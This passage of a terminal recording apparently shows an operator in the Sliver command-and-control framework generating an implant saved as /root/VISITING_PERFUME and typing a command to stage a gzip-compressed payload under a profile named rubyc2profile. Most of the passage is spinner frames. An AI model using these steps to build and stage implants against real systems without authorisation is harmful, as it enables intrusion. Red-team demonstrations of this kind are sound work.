[18.077616, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[18.178235, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[18.27912, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[18.379433, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[18.480281, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[18.581313, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[18.682065, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[18.782525, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[18.88271, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[18.983072, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[19.084287, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[19.184909, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[19.287115, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[19.387491, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[19.490696, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[19.594053, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[19.694672, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[19.796222, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[19.900206, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[20.00108, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[20.102462, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[20.202889, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[20.303448, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[20.408052, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[20.512542, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[20.61407, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[20.714608, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[20.815173, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[20.915681, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[21.016701, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[21.117327, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[21.217537, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[21.324629, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[21.425546, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[21.526436, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[21.626874, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[21.727917, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[21.828887, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[21.929501, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[22.029909, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[22.131125, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[22.232317, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[22.333144, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[22.434053, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[22.535025, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[22.635631, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[22.736253, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[22.836866, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[22.937344, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[23.038226, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[23.139095, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[23.239351, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[23.340027, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[23.441286, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[23.542779, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[23.643497, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[23.744768, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[23.846014, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[23.94673, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[24.047733, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[24.149092, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[24.251603, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[24.352526, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[24.454351, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[24.55628, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[24.657371, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[24.75848, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[24.859267, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[24.959461, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[25.060564, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[25.162727, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[25.263343, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[25.363693, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[25.464516, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[25.565162, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[25.665796, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[25.767067, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[25.867645, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[25.968199, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[26.069678, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[26.170443, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[26.271219, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[26.372533, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[26.477293, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[26.582258, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[26.682832, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[26.783782, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[26.884469, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[26.98542, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[27.085883, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[27.186681, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[27.291383, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[27.39224, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[27.493164, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[27.594256, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[27.694824, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[27.799652, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[27.90059, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[28.001093, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[28.104266, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[28.207097, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[28.307733, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[28.408469, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[28.509457, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[28.609773, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[28.710493, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[28.810968, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[28.911542, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[29.016191, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[29.116258, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[29.219709, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[29.320483, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[29.421196, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[29.523246, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[29.627781, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[29.728322, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[29.829048, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[29.930456, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[30.033489, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[30.135195, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[30.235792, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[30.33956, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[30.442875, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[30.543678, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[30.647029, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[30.747572, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[30.849218, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[30.949794, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[31.050715, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[31.155215, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[31.25875, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[31.360436, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[31.464106, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[31.56458, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[31.665079, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[31.769546, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[31.872848, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[31.974784, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[32.075555, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[32.1755, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[32.233803, "o", "\r\u001b[2K"]
|
||||
[32.245108, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mImplant saved to /root/VISITING_PERFUME\r\n"]
|
||||
[32.245289, "o", "\r\n"]
|
||||
[32.253888, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[32.254289, "o", "\u001b[1 q"]
|
||||
[32.25471, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[32.256764, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[9D"]
|
||||
[32.257528, "o", "\u001b[9C\u001b[214D\u001b[9C\u001b[?25h"]
|
||||
[34.128204, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[34.142499, "o", "p\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[10D\u001b[9C\u001b[214D\u001b[10C\u001b[?25h"]
|
||||
[34.201996, "o", "\u001b[?25l"]
|
||||
[34.20325, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[34.207005, "o", "pr\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[34.207858, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[11D\u001b[9C\u001b[214D\u001b[11C\u001b[?25h"]
|
||||
[34.310293, "o", "\u001b[?25l\u001b[214D"]
|
||||
[34.31141, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[34.323865, "o", "pro\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[12D\u001b[9C"]
|
||||
[34.32553, "o", "\u001b[214D\u001b[12C\u001b[?25h"]
|
||||
[34.4571, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[34.462641, "o", "prof\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[13D\u001b[9C\u001b[214D\u001b[13C\u001b[?25h"]
|
||||
[34.571084, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[34.572672, "o", "\u001b[6n"]
|
||||
[34.577385, "o", "profi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[34.578663, "o", "\u001b[214D\u001b[1A\u001b[14D\u001b[9C\u001b[214D\u001b[14C\u001b[?25h"]
|
||||
[34.657516, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[34.658457, "o", "\u001b[6n"]
|
||||
[34.662102, "o", "profil\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[15D\u001b[9C\u001b[214D\u001b[15C\u001b[?25h"]
|
||||
[34.701732, "o", "\u001b[?25l"]
|
||||
[34.703431, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[34.708377, "o", "profile\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[34.70947, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[16D\u001b[9C\u001b[214D\u001b[16C\u001b[?25h"]
|
||||
[34.774173, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[34.778799, "o", "\u001b[1m\u001b[32mprofiles\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[34.78038, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[17D\u001b[9C\u001b[214D\u001b[17C\u001b[?25h"]
|
||||
[34.922786, "o", "\u001b[?25l"]
|
||||
[34.924334, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[34.927708, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[18D\u001b[9C\u001b[214D\u001b[18C\u001b[?25h"]
|
||||
[35.134338, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[35.14535, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22ms\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[35.146441, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[19D\u001b[9C\u001b[214D\u001b[19C\u001b[?25h"]
|
||||
[35.292762, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[35.319607, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mst\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[20D\u001b[9C\u001b[214D\u001b[20C\u001b[?25h"]
|
||||
[35.51449, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[35.521553, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22msta\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[35.523198, "o", "\u001b[214D\u001b[1A\u001b[21D\u001b[9C\u001b[214D\u001b[21C\u001b[?25h"]
|
||||
[35.769543, "o", "\u001b[?25l"]
|
||||
[35.774309, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[35.785456, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstag\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[35.787261, "o", "\u001b[214D\u001b[1A\u001b[22D\u001b[9C\u001b[214D\u001b[22C\u001b[?25h"]
|
||||
[35.895696, "o", "\u001b[?25l"]
|
||||
[35.901469, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[35.906875, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[35.90735, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[23D\u001b[9C\u001b[214D\u001b[23C\u001b[?25h"]
|
||||
[36.017525, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[36.030982, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D"]
|
||||
[36.031216, "o", "\u001b[1A\u001b[24D\u001b[9C\u001b[214D\u001b[24C\u001b[?25h"]
|
||||
[36.93346, "o", "\u001b[?25l"]
|
||||
[36.938342, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[36.945478, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[25D"]
|
||||
[36.94629, "o", "\u001b[9C\u001b[214D\u001b[25C\u001b[?25h"]
|
||||
[38.839397, "o", "\u001b[?25l"]
|
||||
[38.84835, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[38.85532, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-r\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[38.855651, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[26D\u001b[9C\u001b[214D\u001b[26C\u001b[?25h"]
|
||||
[39.005073, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[39.006455, "o", "\u001b[6n"]
|
||||
[39.010547, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[27D\u001b[9C\u001b[214D\u001b[27C"]
|
||||
[39.011456, "o", "\u001b[?25h"]
|
||||
[39.519987, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[39.527033, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m1\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[39.527532, "o", "\u001b[214D\u001b[1A\u001b[28D\u001b[9C\u001b[214D\u001b[28C\u001b[?25h"]
|
||||
[39.787197, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[39.797778, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m12\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[39.799188, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[29D\u001b[9C\u001b[214D\u001b[29C\u001b[?25h"]
|
||||
[39.999132, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[40.011313, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m123\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[30D\u001b[9C\u001b[214D\u001b[30C\u001b[?25h"]
|
||||
[40.311038, "o", "\u001b[?25l"]
|
||||
[40.317247, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[40.323526, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m1234\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A"]
|
||||
[40.324193, "o", "\u001b[31D\u001b[9C\u001b[214D\u001b[31C\u001b[?25h"]
|
||||
[40.447177, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[40.46285, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m1234 \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[40.465862, "o", "\u001b[214D\u001b[1A\u001b[32D\u001b[9C\u001b[214D\u001b[32C\u001b[?25h"]
|
||||
[40.895034, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[40.900167, "o", "\u001b[6n"]
|
||||
[40.907879, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m1234 \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[33D\u001b[9C\u001b[214D\u001b[33C\u001b[?25h"]
|
||||
[41.287085, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[41.29009, "o", "\u001b[6n"]
|
||||
[41.296285, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m1234 \u001b[1m\u001b[38;05;244m-c\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[41.297899, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[34D\u001b[9C\u001b[214D\u001b[34C\u001b[?25h"]
|
||||
[41.687377, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[41.693329, "o", "\u001b[6n"]
|
||||
[41.701093, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m1234 \u001b[1m\u001b[38;05;244m-c \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[41.702305, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[35D\u001b[9C\u001b[214D\u001b[35C\u001b[?25h"]
|
||||
[42.727279, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[42.735408, "o", "\u001b[6n"]
|
||||
[42.741655, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m1234 \u001b[1m\u001b[38;05;244m-c \u001b[39m\u001b[22mg\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[36D\u001b[9C\u001b[214D\u001b[36C\u001b[?25h"]
|
||||
[42.971052, "o", "\u001b[?25l"]
|
||||
[42.971939, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[42.983551, "o", "\u001b[6n"]
|
||||
[42.988518, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m1234 \u001b[1m\u001b[38;05;244m-c \u001b[39m\u001b[22mgz\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[37D\u001b[9C\u001b[214D"]
|
||||
[42.989979, "o", "\u001b[37C\u001b[?25h"]
|
||||
[43.121318, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[43.12898, "o", "\u001b[6n"]
|
||||
[43.133523, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m1234 \u001b[1m\u001b[38;05;244m-c \u001b[39m\u001b[22mgzi\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[43.134619, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[38D\u001b[9C\u001b[214D\u001b[38C\u001b[?25h"]
|
||||
[43.179021, "o", "\u001b[?25l"]
|
||||
[43.18039, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[43.18097, "o", "\u001b[6n"]
|
||||
[43.183315, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m1234 \u001b[1m\u001b[38;05;244m-c \u001b[39m\u001b[22mgzip\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[43.183408, "o", "\u001b[214D\u001b[1A\u001b[39D\u001b[9C\u001b[214D\u001b[39C\u001b[?25h"]
|
||||
[44.591398, "o", "\u001b[?25l\u001b[214D"]
|
||||
[44.591978, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[44.596545, "o", "\u001b[6n"]
|
||||
[44.605156, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m1234 \u001b[1m\u001b[38;05;244m-c \u001b[39m\u001b[22mgzip \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[40D\u001b[9C"]
|
||||
[44.606302, "o", "\u001b[214D\u001b[40C\u001b[?25h"]
|
||||
[44.865304, "o", "\u001b[1 q"]
|
||||
[44.897245, "o", "\u001b[1 q"]
|
||||
[44.897427, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[44.899865, "o", "\u001b[6n"]
|
||||
[44.90211, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m1234 \u001b[1m\u001b[38;05;244m-c \u001b[39m\u001b[22mgzip rubyc2profile \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[44.902336, "o", "\u001b[214D\u001b[1A\u001b[54D\u001b[9C\u001b[214D\u001b[54C\u001b[?25h"]
|
||||
[45.436157, "o", "\u001b[54D\u001b[9C"]
|
||||
[45.440133, "o", "\u001b[6n"]
|
||||
[45.443079, "o", "\u001b[214D\u001b[54C\u001b[0J\u001b[214D\r\r\n"]
|
||||
[45.445288, "o", "\u001b[0 q\r\n"]
|
||||
[45.577603, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[45.681874, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[45.782396, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[45.885579, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[45.986132, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[46.08714, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
